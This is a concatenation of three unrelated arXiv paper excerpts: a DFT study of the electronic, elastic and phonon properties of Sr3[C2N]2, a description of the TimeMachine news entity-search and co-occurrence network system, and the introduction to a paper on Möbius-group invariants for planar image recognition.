The behavior of electrons in a material to external perturbations such as absorption or emission of light can be explained by the energy eigenvalues in the electronic band-structure. Such a response is usually related to an electronic property like the bandgap. A very useful concept in analyzing any band-structure of a material is the density of states as a function of the energy. The calculated total density of states (TDOS) of Sr$_3$[C$_2$N]$_2$ is shown in Fig.~\ref{fig:bands}. We predict monoclinic Sr$_3$[C$_2$N]$_2$ to have an electronic energy gap of about 2.65 eV. Due to the well known GGA bandgap problem, we anticipate that this value is slightly lower than that of the currently missing experimental measurements. Also missing are theoretical bandgaps on Sr$_3$[C$_2$N]$_2$ and this informs why we can not make a comparison of our gap. From the TDOS shown, it is clear that the lower valence bands at about -37 eV are predominantly composed of Sr 4s character. The valence band (VB) and the conduction band (CB) mainly consist of Sr 4p, Sr 5s, N 2s, N 2p, C 2s, and C 2p. Sr 4p and C 2s do not play a role at the top of the valence band and the physics is expected since they are lower in energy. The upper valence band shows strong hybridization between C 2p N, 2s and N, 2p with very small signatures from Sr 5s. This is a very important observation since the hybridization of N and C states confirms the finding of Clark and co-workers\cite{paper} on C=C=N double bonding. The conduction band consists mainly of C 2p, N 2p N 2s, and Sr 5s. The conduction band harbors these orbitals and the calculated bandwidth is of the order of 7.18 eV. We anticipate that this band characteristic is not rigid and may be tuned to tailor Sr$_3$[C$_2$N]$_2$ for a desired electronic characteristic.
\subsection{Mechanical stability}
\label{sec:elastics}
It is important to note that elastic constants will determine the responses of any solid to external forces. They are characterized by the bulk modulus, Young's modulus, shear modulus, and the Poisson's ratio and play an important role in determining the strength and stability of a material.
\begin{table*}[tb]
\centering
\caption{ The calculated 13 elastic constants of Sr$_3$[C$_2$N]$_2$ in GPa.}
\label{table:1cn}
\begin{tabular*}{\textwidth}{@{\extracolsep{\fill}}llllllllllllllllll@{}}
\hline\noalign{\smallskip}
$C_{11}$& $C_{12}$&$C_{22}$ & $C_{13}$ &$C_{23}$ &$C_{33}$&$C_{44}$&$C_{15}$&$C_{25}$& $C_{35}$&$C_{55}$&$C_{46}$&$C_{66}$\\
\noalign{\smallskip}\hline\noalign{\smallskip}
103.70&44.22&126.39&45.24&37.81&107.96&31.31&5.15&10.18&-0.31&41.42&0.02&35.00\\
\noalign{\smallskip}\hline
\end{tabular*}
\end{table*}
\begin{table*}
\centering
\small
\caption{bulk modulus ($B$), shear modulus ($G$), Young's modulus ($E$), Poisson's ratio ($\eta$ ) and G/B ratio of Sr$_3$[C$_2$N]$_2$ in GPa, calculated in various schemes; Voigt's, Reuss' and Hill's approximations.}
\label{table:3}
\begin{tabular*}{\textwidth}{@{\extracolsep{\fill}}lllllllllllllll@{}}
\hline\noalign{\smallskip}
\multicolumn{3}{l}{Bulk modulus (GPa)} & \multicolumn{3}{l}{Young's modulus (GPa)} & \multicolumn{3}{l}{Shear modulus (GPa)} & \multicolumn{3}{l}{Poisson's ratio} &\multicolumn{3}{l}{G/B} \\
\noalign{\smallskip}\hline\noalign{\smallskip}
$B_V$&$B_R$&$B_{H}$&$E_V$&$E_R$ &$E_{H}$&$G_V$ & $G_R$ & $G_{H}$& $\eta_V$ & $\eta_R$ & $\eta_{H}$&$G/B_V$&$G/B_R$&$G/B_H$ \\
\noalign{\smallskip}\hline\noalign{\smallskip}
65.86&65.05&65.46&90.48&88.32&89.41&35.60&34.67&35.13&0.271&0.274&0.272&0.54&0.53&0.53\\
\noalign{\smallskip}\hline
\end{tabular*}
\end{table*}
In this section, we will introduce the basic formulas of elastic moduli and the mechanical stability criteria for monoclinic Sr$_3$[C$_2$N]$_2$. We investigated the 13 non-zero elastic constants as follows,
\begin{align}
\begin{bmatrix}
C_{11} & C_{12} & C_{13} & 0& C_{15}&0\\
0 & C_{22} & C_{23} & 0& C_{25}&0\\
0 & 0 & C_{33} & 0& C_{35}&0\\
0 & 0& 0 & C_{44}&0&C_{46}\\
0 & 0& 0 & 0&C_{55}&0\\
0 & 0& 0 & 0&0&C_{66}
\end{bmatrix}.
\end{align}
We also calculated the bulk modulus B and shear modulus G using the Voigt approximation\cite{voigt} and the Reuss approximation\cite{reuss}. We then calculated the average of the two to obtain the Hills
approximation\cite{hill}. We used the equations below that relate to the thirteen independent elastic constants to B$_V$ and G$_V$ in Voigt notations, whereas B$_R$ and G$_R$ represent Reuss notations;
\begin{align}
&B_V=\frac{1}{9}\left[C_{11}+C_{22}+C_{33}+2\left(C_{12}+C_{13}+C_{23}\right)\right],
\nonumber\\
&G_V=\frac{1}{15}\left[C_{11}+C_{22}+C_{33}+3\left(C_{44}+C_{55}+C_{66}\right)\right]-
\nonumber\\
&~~~~~~~~\frac{1}{15}\left[\left(C_{12}+C_{13}+C_{23}\right)\right],
\nonumber\\
&B_R=\alpha[ t\left(C_{11}+C_{22}-2C_{12}\right)+u\left(2C_{12}-2C_{11}-C_{23}\right)
\nonumber\\
&~~~~~~~~+v\left(C_{15}-2C_{25}\right)+w\left(2C_{12}+2C_{23}-C_{13}-2C_{22}\right)
\nonumber\\
&~~~~~~~~+2x\left(C_{25}-C_{15}\right)+y]^{-1},
\nonumber\\
&G_R=15\{4[t\left(C_{11}+C_{22}+C_{12}\right)+u\left(C_{11}-C_{12}-C_{23}\right)
\nonumber\\
&~~~~~~~~+v\left(C_{15}+C_{25}\right)+w\left(C_{22}-C_{12}-C_{23}-C_{13}\right)
\nonumber\\
&~~~~~~~~+x\left(C_{15}-C_{25}\right)+y]/\alpha
\nonumber\\
&~~~~~~~~+3[z/\alpha+\left(C_{44}+C_{66}\right)/\left(C_{44}C_{66}-C_{46}^2\right)]\}^{-1}.
\nonumber
\end{align}
Where,
\begin{align}
&t=C_{33}C_{55}-C_{35}^2,
\nonumber\\
&u=C_{23}C_{55}-C_{25}C_{35},
\nonumber\\
&v=C_{13}C_{35}-C_{15}C_{35},
\nonumber\\
&w=C_{13}C_{55}-C_{15}C_{35},
\nonumber\\
&x=C_{C13}C_{25}-C_{15}C_{23},
\nonumber\\
&y=C_{11}(C_{22}C_{55}-C_{25}^2)-C_{12}(C_{12}C_{55}-C_{15}C_{25}),
\nonumber\\
&~~~~+C_{15}(C_{12}C_{25}-C_{15}C_{22})+C_{25}(C_{23}C_{35}-C_{25}C_{33}),
\nonumber\\
&z=C_{11}C_{22}C_{33}-C_{11}C_{23}^2-C_{22}C_{13}^2-C_{33}C_{12}^2
\nonumber\\
&~~~~+2C_{12}C_{13}C_{23},
\nonumber\\
&\alpha=2[C_{15}C_{25}(C_{33}C_{12}-C_{13}C_{23})+C_{15}C_{35}(C_{22}C_13-
\nonumber\\
&~C_{12}C_{23})+C_{25}C_{35}(C_{11}C_{23}-C_{12}C_{13})]-[C_{15}^2(C_{22}C_{33-C_{23}^2})
\nonumber\\
&~~~~+C_{25}^2(C_{11}C_{33}-C_{13}^2)+C_{35}^2(C_{11}C_{22}-C_{12}^2)]+zC_{55}.
\end{align}
It is important to note that the mechanical stability of monoclinic Sr$_3$[C$_2$N]$_2$ is only achieved if the elastic constants satisfy the following necessary and sufficient conditions as prescribed by Born\cite{born}.
\begin{align}
&C_{11} > 0, C_{22} > 0, C_{33} > 0, C_{44} > 0, C_{55} > 0, C_{66} > 0,
\nonumber\\
&\left[C_{11}+C_{22}+C_{33}+2\left(C_{12}+C_{13}+C_{23}\right)\right] > 0,
\nonumber\\
&\left(C_{33}C_{55}-C_{35}^2\right) > 0,
\nonumber\\
&\left(C_{44}C_{66}-C_{46}^2\right) > 0,
\nonumber\\
&\left(C_{22}+C_{33}-2C_{23}\right) > 0,
\nonumber\\
&[C_{22}(C_{33}C_{55}-C_{35}^2)+2C_{23}C_{25}C_{35}-C_{23}^2C_{55}-C_{25}^2C_{33}]>0,
\nonumber\\
&\{2[C_{15}C_{25}(C_{33}C_{12}-C_{13}C_{23})+C_{15}C_{35}(C_{22}C_{13}-C_{12}C_{23})
\nonumber\\
&-C_{25}C_{35}(C_{11}C_{23}-C_{12}C_{13})]-[C_{15}^2(C_{22}C_{33}-C_{23}^2)]
\nonumber\\
&C_{25}^2(C_{11}C_{33}-C_{13}^2)+C_{35}^2(C_{11}C_{22}-C_{12}^2)]+C_{55}z\}>0.
\end{align}
From Table \ref{table:1cn} we noted that Sr$_3$[C$_2$N]$_2$ satisfied all the above tests and is mechanically stable.
Using the Voigt-Reuss-Hill approximations, we were able to compute B$_H$=0.5(B$_R$+B${_V}$) and equally G$_H$=0.5(G$_R$+G$_{V}$). We obtained Young's modulus $E$ and the Poisson's ratio ($\eta$) using $E=9BG/(3B+G)$ and $\eta=(3B-2G)/[2(G+3B)]$ respectively. From the calculated elastic constants in Table \ref{table:1cn}, it can be seen that they are too low and we would not expect Sr$_3$[C$_2$N]$_2$ to be employed in the hard industry. The bulk modulus of Sr$_3$[C$_2$N]$_2$ is too small compared to that of diamond (459 GPa\cite{diamond}) indicating that it is a soft material. The comparison to diamond as benchmark for hard materials might be right in this article, but the comparison is somewhat unfair in most calculations. The reason for this is because diamond is dominated by 3D-covalency while in this context, Sr$_3$[C$_2$N]$_2$ by ionic interactions between Sr and C$_2$N. The Young's modulus, which is defined as the ratio between stress and strain, is used to measure stiffness in a solid. A large value of Young's modulus implies stiffness in a material. Sr$_3$[C$_2$N]$_2$ is extremely less stiff if a comparison to diamond is made. We also calculated the value of the Poisson's ratio ($\eta$) in Sr$_3$[C$_2$N]$_2$. This value ranges from -1 to 0.5. If $\eta=-1$, then the respective material does not change its shape and $\eta=0.5$ implies that the volume does not change. All these happens when an incompressible material is deformed elastically at small strains\cite{elastic}. From Table \ref{table:3}, checking on the Poisson's ratio, we predict that Sr$_3$[C$_2$N]$_2$ is brittle since $\eta<0.33$. We had to confirm this behavior by employing the Pugh's criteria\cite{pugh} according to which a high G/B is associated with brittleness while a low G/B is associated with ductility. In principle, a material is brittle if G/B is greater than 0.5 otherwise the material is ductile. From Table \ref{table:3}, we see that the G/B ratio confirms brittleness in Sr$_3$[C$_2$N]$_2$. Since monoclinic Sr$_3$[C$_2$N]$_2$ is a low symmetry crystal, we caution that calculation of the elastic constants is not unique since it is highly depended on the orientation of the unit cell. At the moment, there is no data on the elastic constants of this crystal and we therefor give a basis for future works to be done.
\subsection{Dynamical stability}
\label{sec:dynamical}
\begin{figure}[h!]
\begin{center}
\includegraphics[width=0.4\textwidth]{phonon_grace.eps}
\caption{A zoomed phonon band structure of Sr$_3$[C$_2$N]$_2$.}
\label{fig:ban}
\end{center}
\end{figure}
The goal here was to compute the phonon band-structure of Sr$_3$[C$_2$N]$_2$ as illustrated in Fig.~\ref{fig:ban}. We computed force constant matrix in real space using the supercell technique based on optimized structures then computed the dynamical matrix for every q-point in reciprocal space. In this case, we observed that all the normal vibration modes had real and finite frequencies thus implying that Sr$_3$[C$_2$N]$_2$ is dynamically stable.
\section{Conclusion}
\label{conc}
We successfully carried out \textit{ab initio} calculations on the mechanical and dynamical stability together with the electronic density of states of Sr$_3$[C$_2$N]$_2$. The goal of this work was to fill part of the information gap on the newly characterized crystal structure. The optimized crystallographic parameters were found to be in accord with experimental results obtained by Clark and co-workers\cite{paper}. The mechanical stability of the new crystal met the stability criteria of a monoclinic system. It was found to be brittle and thus can not be employed where hard materials are required. The dynamical stability was upheld since no imaginary phonon modes were observed in the crystal. The density of states was systemically investigated, and their characteristics were interpreted. It was found out that monoclinic Sr$_3$[C$_2$N]$_2$ has an energy gap of 2.65 eV. We predict that it has a non-rigid gap that can be tuned and make it an ideal candidate for optical applications. Based on these calculated results, we have partly filled the missing information gap on this newly characterized crystal structure. Our major recommendation is that probably if the pseudonitride is combined with suitable cations like in the group of transition metals we may realize subtle physics. It is important to note that at an industrial level, Sr$_3$[C$_2$N]$_2$ can be not be applied as material anyhow due to its reactivity against air and moisture\cite{cooms}.
\section*{acknowledgement}
\label{sec:Acknowledgement}
We thank Rainer Niewa of Universit\"{a}t Stuttgart (Germany), Elkana Rugut of University of the Witwatersrand (South Africa), Samuel Gallego Parra of Universitat Polit\`ecnica de Val\`encia (Spain) and Patrick Ning'i of the Technical University of Kenya (Kenya) for the useful and detailed discussions we had on monoclinic Sr$_3$[C$_2$N]$_2$. GSM acknowledges support from the Kenya Education Network through CMMS mini-grant 2019/2020. The authors also gratefully acknowledge the computer resources, technical expertise, and assistance provided by the Centre for High-Performance Computing (CHPC), Cape Town, South Africa.
\section*{AUTHOR CONTRIBUTIONS}
\label{sec:contributions}
The research problem was designed by J.S, E.W and C.S then revised by GSM. All the calculations and data analysis were done by J.S and E.W. The manuscript was written by J.S and E.W then revised by GSM, C.S, S.S and A.O. The project was supervised by C.S and GSM. All the authors approved the manuscript for submission.
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 6,487 |
\section{Introduction}
Online publication of news articles has become a standard behavior of news outlets, while the public joined the movement either using desktop or mobile terminals. The resulting setup consists of a cooperative dialog between news outlets and the public at large. Latest events are covered and commented by both parties in a continuous basis through the social networks, such as Twitter. At the same time, it is necessary to convey how story elements are developed over time and to integrate the story in the larger context. This is extremely challenging when journalists have to deal with news archives that are growing everyday in a thousands scale. Never before has computation been so tightly connected with the practice of journalism. In recent years, computer science community have researched \cite{demartini2010taer, matthews2010searching, balog2009sahara, alonso2010time, saleiro2015popmine, Teixeira2011, Sarmento2009, Abreu2015} and developed\footnote{NewsExplorer (IBM Watson): http://ibm.co/1OsBO1a} new ways of processing and exploring news archives to help journalists perceiving news content with an enhanced perspective.
TimeMachine, as a computational journalism tool, brings together a set of Natural Language Processing, Text Mining and Information Retrieval technologies to automatically extract and index entity related knowledge from the news articles \cite{saleiro2013popstar, saleiro2013piaf, saleiro2015popmine, teixeira2011bootstrapping, Teixeira2011, Sarmento2009,Abreu2015 }. It allows users to issue queries containing keywords and phrases about news stories or events, and retrieves the most relevant entities mentioned in the news articles through time. TimeMachine provides readable and user friendly insights and visual perspective of news stories and entities evolution along time, by presenting co-occurrences networks of public personalities mentioned on news, following a force atlas algorithm \cite{jacomy2014forceatlas2} for the interactive and real-time clustering of entities.
\section{News Processing Pipeline}
The news processing pipeline, depicted in Figure 1, starts with a news cleaning module which performes the boilerplate removal from the news raw files (HTML/XML). Once the news content is processed we apply the NERD module which recognizes entity mentions and disambiguates each mention to an entity using a set of heuristics tailored for news, such as job descriptors (e.g. ``Barack Obama, president of USA'') and linguistic patterns well defined for the journalistic text style.
We use a bootstrap approach to train the NER system \cite{teixeira2011bootstrapping}. Our method starts by annotating persons names on a dataset of 50,000 news items. This is performed using a simple dictionary-based approach. Using such training set we build a classification model based on Conditional Random Fields (CRF). We then use the inferred classification model to perform additional annotations of the initial seed corpus, which is then used for training a new classification model. This cycle is repeated until the NER model stabilizes.
\begin{figure}[h!]
\centering
\includegraphics[width=0.8\columnwidth]{arch}
\caption{News processing pipeline.}
\label{fig:architecture}
\end{figure}
The entity snippet extraction consists of collecting sentences containing mentions to a given entity. All snippets are concatenated generating an entity document, which will be indexed in the entity index. The entity index represents the frequency of co-occurrence of each entity with each term that it occurs with in the news. Therefore, by relying on the redundancy of news terms and phrases associated with an entity we are able to retrieve the most relevant entity to a given input keyword or phrase query. As we also index the snippet datetime it is possible to filter query results based on a time span. For instance, the keyword ``corruption'' might retrieve a different entity list results in different time periods. Quotations are typically short and very informative sentences, which may directly or indirectly quote a given entity. Quotations are automatically extracted (refer to "Quotations Extraction" module) using linguistic patterns, thus enriching the information extracted for each entity.
Finally, once we have all mentioned entities in a given news articles we extract entity tuples representing co-occurrences of entities in a given news article and update the entity graph by incrementing the number of occurrences of a node (entity) and creating/incrementing the number of occurrences of the edge (relation) between any two mentions.
\section{Demonstration}
The setup for demonstration uses a news archive of Portuguese news. It comprises two different datasets: a repository from the main Portuguese news agency (1990-2010), and a stream of online articles provided by the main web portal in Portugal (SAPO) which aggregates news articles from 50 online newspapers. By the time of writing this paper, the total number of news articles used in this demonstration comprises over 12 million news articles. The system is working on a daily basis, processing articles as they are collected from the news stream.
TimeMachine allows users to explore its news archive through an entity search box or by selecting a specific date. Both options are available on the website homepage and in the top bar on every page. There are a set of ``stories'' recommendations on the homepage suited for first time visitors. The entity search box is designed to be the main entry point to the website as it is connected to the entity retrieval module of TimeMachine.
\begin{figure}[H]
\centering
\includegraphics[width=0.9\textwidth]{MdT_image_v3}
\caption{Cristiano Ronaldo page headline (left) and egocentric network (right).}
\label{fig:architecture}
\end{figure}
Users may search for surface names of entities (e.g. ``Cristiano Ronaldo'') if they know which entities they are interested to explore in the news, although the most powerful queries are the ones containing keywords or phrases describing topics or news stories, such as ``eurozone crisis'' or ``ballon d'or nominees''. When selecting an entity from the ranked list of results, users access the entity profile page which containing a set of automatically extracted entity specific data: name, profession, a set of news articles, quotations from the entity and related entities. Figure 2, left side, represents an example of the entity profile headline. The entity timeline allows users to navigate entity specific data through time. By selecting a specific period, different news articles, quotations and related entities are retrieved. Furthermore, users have the option of ``view network'' which consists in a interactive network depicting connections among entities mentioned in news articles for the selected time span. This visualization is depicted in Figure 2, right side, and it is implemented using the graph drawing library Sigma JS, together with "Force Atlas" algorithm for the clustering of entities. Nodes consist of entities and edges represent a co-occurrence of mentioned entities in the same news article. The size of the nodes and the width of edges is proportional to the number of mentions and co-occurrences, respectively. Different node colors represent specific news topics where entities were mentioned. By selecting a date interval on the homepage, instead of issuing a query, users get a global interactive network of mentions and co-occurrences of the most frequent entities mentioned in the news articles for the selected period of time.
As future work we plan to enhance TimeMachine with semantic extraction and retrieval of relations between mentioned entities.
\bibliographystyle{unsrt}
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 2,189 |
{"url":"https:\/\/www.maplesoft.com\/support\/help\/maplesim\/view.aspx?path=StringTools%2FLowerCase","text":"StringTools - Maple Programming Help\n\nHome : Support : Online Help : Programming : Names and Strings : StringTools Package : Case Conversion : StringTools\/LowerCase\n\nStringTools\n\n LowerCase\n change each alphabetic character in a string to lowercase\n UpperCase\n change each alphabetic character in a string to uppercase\n OtherCase\n change each alphabetic character in a string to the alternate case\n\n Calling Sequence LowerCase( s, rng\u00a0) UpperCase( s, rng\u00a0) OtherCase( s, rng\u00a0)\n\nParameters\n\n s - Maple string rng - (optional) integer range\n\nDescription\n\n \u2022 The LowerCase(s)\u00a0calling sequence changes each alphabetic character in the string s\u00a0to lowercase and returns the result in a new string. The string s\u00a0remains unchanged.\n \u2022 The UpperCase(s)\u00a0calling sequence changes each alphabetic character in the string s\u00a0to uppercase and returns the result in a new string. The string s\u00a0remains unchanged.\n \u2022 The OtherCase(s)\u00a0calling sequence changes each alphabetic character in the string s\u00a0to the opposite case and returns the result in a new string. The string s\u00a0remains unchanged.\n \u2022 See StringTools[IsLower]\u00a0and StringTools[IsUpper]\u00a0for definitions of lower and uppercase characters.\n \u2022 These commands all accept an optional, second argument rng, a range that specifies a substring of the input s\u00a0to be affected by the operation. Only characters within the given range are changed.\n \u2022 All of the StringTools\u00a0package commands treat strings as (null-terminated) sequences of $8$-bit (ASCII) characters. \u00a0Thus, there is no support for multibyte character encodings, such as unicode encodings.\n\nExamples\n\n > $\\mathrm{with}\\left(\\mathrm{StringTools}\\right):$\n > $\\mathrm{LowerCase}\\left(\"\"\\right)$\n ${\"\"}$ (1)\n > $\\mathrm{LowerCase}\\left(\"ABC\"\\right)$\n ${\"abc\"}$ (2)\n > $\\mathrm{LowerCase}\\left(\"ABC;!def\"\\right)$\n ${\"abc;!def\"}$ (3)\n > $\\mathrm{LowerCase}\\left(\"Impedance of Free Space\"\\right)$\n ${\"impedance of free space\"}$ (4)\n > $\\mathrm{LowerCase}\\left(\"ABCDEFGHIJ\",3..8\\right)$\n ${\"ABcdefghIJ\"}$ (5)\n > $\\mathrm{UpperCase}\\left(\"\"\\right)$\n ${\"\"}$ (6)\n > $\\mathrm{UpperCase}\\left(\"abc\"\\right)$\n ${\"ABC\"}$ (7)\n > $\\mathrm{UpperCase}\\left(\"abc;!DEF\"\\right)$\n ${\"ABC;!DEF\"}$ (8)\n > $\\mathrm{UpperCase}\\left(\"Totally Random\"\\right)$\n ${\"TOTALLY RANDOM\"}$ (9)\n > $\\mathrm{UpperCase}\\left(\"abcdefghij\",3..-2\\right)$\n ${\"abCDEFGHIJ\"}$ (10)\n > $\\mathrm{OtherCase}\\left(\"\"\\right)$\n ${\"\"}$ (11)\n > $\\mathrm{OtherCase}\\left(\"abc\"\\right)$\n ${\"ABC\"}$ (12)\n > $\\mathrm{OtherCase}\\left(\"DEF\"\\right)$\n ${\"def\"}$ (13)\n > $\\mathrm{OtherCase}\\left(\"abc;DEF\"\\right)$\n ${\"ABC;def\"}$ (14)\n > $\\mathrm{OtherCase}\\left(\"The Higher, The Fewer!\"\\right)$\n ${\"tHE hIGHER, tHE fEWER!\"}$ (15)\n\nNote that LowerCase\u00a0and UpperCase\u00a0are not mutual inverses.\n\n > $s\u2254\\mathrm{LowerCase}\\left(\"abcDEF\"\\right)$\n ${s}{\u2254}{\"abcdef\"}$ (16)\n > $\\mathrm{UpperCase}\\left(s\\right)$\n ${\"ABCDEF\"}$ (17)\n\nHowever, LowerCase(UpperCase(Lowercase(s))) = LowerCase(s)\u00a0for every s.\n\n > $\\mathrm{LowerCase}\\left(\\mathrm{UpperCase}\\left(\\mathrm{LowerCase}\\left(\"abcDEF\"\\right)\\right)\\right)$\n ${\"abcdef\"}$ (18)\n\nThe OtherCase\u00a0command is an involution.\n\n > $\\mathrm{OtherCase}\\left(\\mathrm{OtherCase}\\left(\"abcDEF\"\\right)\\right)$\n ${\"abcDEF\"}$ (19)","date":"2020-08-11 01:43:29","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 40, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.7627822756767273, \"perplexity\": 3769.176664252089}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.3, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738723.55\/warc\/CC-MAIN-20200810235513-20200811025513-00105.warc.gz\"}"} | null | null |
Q: Change reCAPTCHA response to alert() instead of loading new page I'm using reCAPTCHA and I'd like to show the response if the CATPCHA was filled in incorrectly as an alert(); rather than it loading a new page. How can I do that?
This is the form action:
<form id="form" method="POST" action="verify.php">
With this in the verify.php file:
<?php
require_once('recaptchalib.php');
$privatekey = "(my key)";
$resp = recaptcha_check_answer ($privatekey,
$_SERVER["REMOTE_ADDR"],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]);
if (!$resp->is_valid) {
// What happens when the CAPTCHA was entered incorrectly
die ("The reCAPTCHA wasn't entered correctly. Go back and try it again." .
"(reCAPTCHA said: " . $resp->error . ")");
} else {
// Your code here to handle a successful verification
}
?>
A: Call your method on form submit like--
<form id="form" method="POST" action="verify.php" onsubmit="mymethod()" >
OR use jquery, something like that --
<script>
$("form").submit(function() {
if ($("input:first").val() == "correct") {
$("span").text("Validated...").show();
return true;
}
$("span").text("Not valid!").show().fadeOut(1000);
return false;
});
</script>
A: You can write the Javascript for the alert on the new page.
if (!$resp->is_valid) {
// What happens when the CAPTCHA was entered incorrectly
echo("<script>alert('The reCAPTCHA wasn't entered correctly. Go back and try it again.');</script">);
die();
} else {
// Your code here to handle a successful verification
}
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 3,055 |
Hans Bjørnstad (ur. 18 marca 1928 w Lier, zm. 24 maja 2007) – norweski skoczek narciarski. Rywalizował w latach 1940–1950. Zdobył złoty medal na Mistrzostwach Świata w Narciarstwie Klasycznym w roku 1950 w Lake Placid.
Linki zewnętrzne
Sylwetka skoczka na oficjalnej stronie FISu
Medaliści Mistrzostw Świata w Narciarstwie Klasycznym 1950
Norwescy skoczkowie narciarscy
Mistrzowie świata w skokach narciarskich
Ludzie urodzeni w Lier (Norwegia)
Urodzeni w 1928
Zmarli w 2007 | {
"redpajama_set_name": "RedPajamaWikipedia"
} | 1,355 |
Mauda – wieś w Polsce położona w województwie podlaskim, w powiecie suwalskim, w gminie Wiżajny.
W latach 1975–1998 miejscowość administracyjnie należała do województwa suwalskiego.
Na południowo-zachodnim krańcu wsi znajduje się Jezioro Mauda.
Przypisy
Linki zewnętrzne
Mauda | {
"redpajama_set_name": "RedPajamaWikipedia"
} | 1,543 |
Q: How to resize a bitmap element in android I have an android layout like this:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="match_parent"
android:layout_height="match_parent">
<TextView
android:id="@+id/textView1"
android:text="00:00"
android:textSize="100dp"
android:fontFamily="sans-serif-thin"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:gravity="center" />
<TextView
android:id="@+id/hangRest"
android:text=""
android:textSize="45dp"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:gravity="center" />
<FrameLayout
android:layout_width="match_parent"
android:layout_height="match_parent">
<ImageView
android:id="@+id/floating_shape"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginRight="15dp"
android:layout_marginBottom="15dp"
android:background="@drawable/start_button"
android:elevation="30dp"
android:layout_gravity="bottom|right" />
<ImageView
android:id="@+id/reset_button"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginLeft="15dp"
android:layout_marginBottom="15dp"
android:src="@drawable/reset_button"
android:elevation="30dp"
android:layout_gravity="bottom|left" />
</FrameLayout>
</LinearLayout>
and here is the "start_button" resource:
<?xml version="1.0" encoding="UTF-8" ?>
<layer-list xmlns:android="http://schemas.android.com/apk/res/android">
<item>
<shape android:shape="oval">
<size android:width="65dp" android:height="65dp"/>
<solid android:color="#009525"/>
</shape>
</item>
<item android:top="15dp" android:right="15dp" android:bottom="15dp" android:left="15dp">
<bitmap android:src="@drawable/triangle"/>
</item>
</layer-list>
The problem is that I want my button to be sized to the 65dp x 65dp that the oval is set to, but the bitmap doesn't seem to be cooperating with the margin I want to put in (see image below). How do I force the bitmap to allow itself to be resized (to snap to the 65dp x 65dp, less the 15dp margin)?
A: That's not really what xml drawables are for. The idea of a Drawable is that it scales to any size. If you want an exact size image, use an ImageView and set the width. If you want an exact size image with a background, use an ImageView with a background set and use padding to set the padding around it. If need be, set an appropriate scale type, like centerInside.
A: public Bitmap getBitmap(Bitmap bitmap, int newHeight, int newWidth) {
int height = bitmap.getHeight();
int width = bitmap.getWidth();
float scaleWidth = ((float) newWidth) / width;
float scaleHeight = ((float) newHeight) / height;
Matrix matrix = new Matrix();
// here we do resize the bitmap
matrix.postScale(scaleWidth, scaleHeight);
// and create new one
Bitmap newBitmap = Bitmap.createBitmap(bm, 0, 0, width, height, matrix, false);
return newBitmap;
}
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 4,350 |
\section{Introduction}
Lie group methods play a fundamental role in many aspects of computer vision and image processing, including object recognition, pattern matching, feature detection, tracking, shape analysis, tomography, and geometric smoothing. We consider the setting in which a Lie group~$G$ acts on a space $M$ of objects such as points, curves, or images, and convenient methods of working in~$M/G$ are sought. One such method is based on the theory of invariants, i.e., on the theory of $G$-invariant functions on~$M$, which has been extensively developed from mathematical, computer science, and engineering points of view.
When $M$ is a set of planar objects the most-studied groups are the Euclidean, af\/f\/ine, similarity, and projective groups. In this paper we make a f\/irst study of invariants of planar objects under the M\"obius group $\mathrm{PSL}(2,\mathbb{C})$, which acts on the Riemann sphere
$\overline{\mathbb{C}} = \mathbb{C}\cup\infty$ by
\begin{gather*}
\phi\colon \ \overline{\mathbb{C}} \to \overline{\mathbb{C}},\qquad \phi(z) = \frac{a z + b}{c z + d},\qquad a, b, c, d\in\mathbb{C}, \qquad
ad-bc\ne 0.
\end{gather*}
We work principally in the school of invariant signatures, developed by (amongst others) Olver and Shakiban
\cite{ames2002three,
calabi1998differential,
hoff2013extensions,
olver2001moving,
shakiban2004signature,
shakiban2005classification}, and widely used for Euclidean object recognition (see, e.g.,~\cite{aghayan2014planar}).
$\mathrm{PSL}(2,\mathbb{C})$ is a 6-dimensional real Lie group. It forms the identity component of the inversive group, which is the group generated by the M\"obius transformations and a ref\/lection. In addition to its importance on fundamental grounds~-- it is one of the very few classes of Lie groups that act on the plane, it crops up in numerous branches of geometry and analysis, it is the smallest nonlinear planar group that contains the direct similarities, and it is the set of biholomorphic maps of the Riemann sphere~-- it also has direct applications in image processing since it arises in the {\em conformal camera} model of vision, in which scenes are projected radially onto a sphere \cite{lenz1990group,turski2004geometric,turski2005geometric}. It may also correspond to neurological aspects of vision, such as grouping of lines and circles (which are equivalent under M\"obius transformations)~\cite{turski2006computational}.
From an applications point of view, dif\/ferent objects may be related by M\"obius transformations, as is explored by
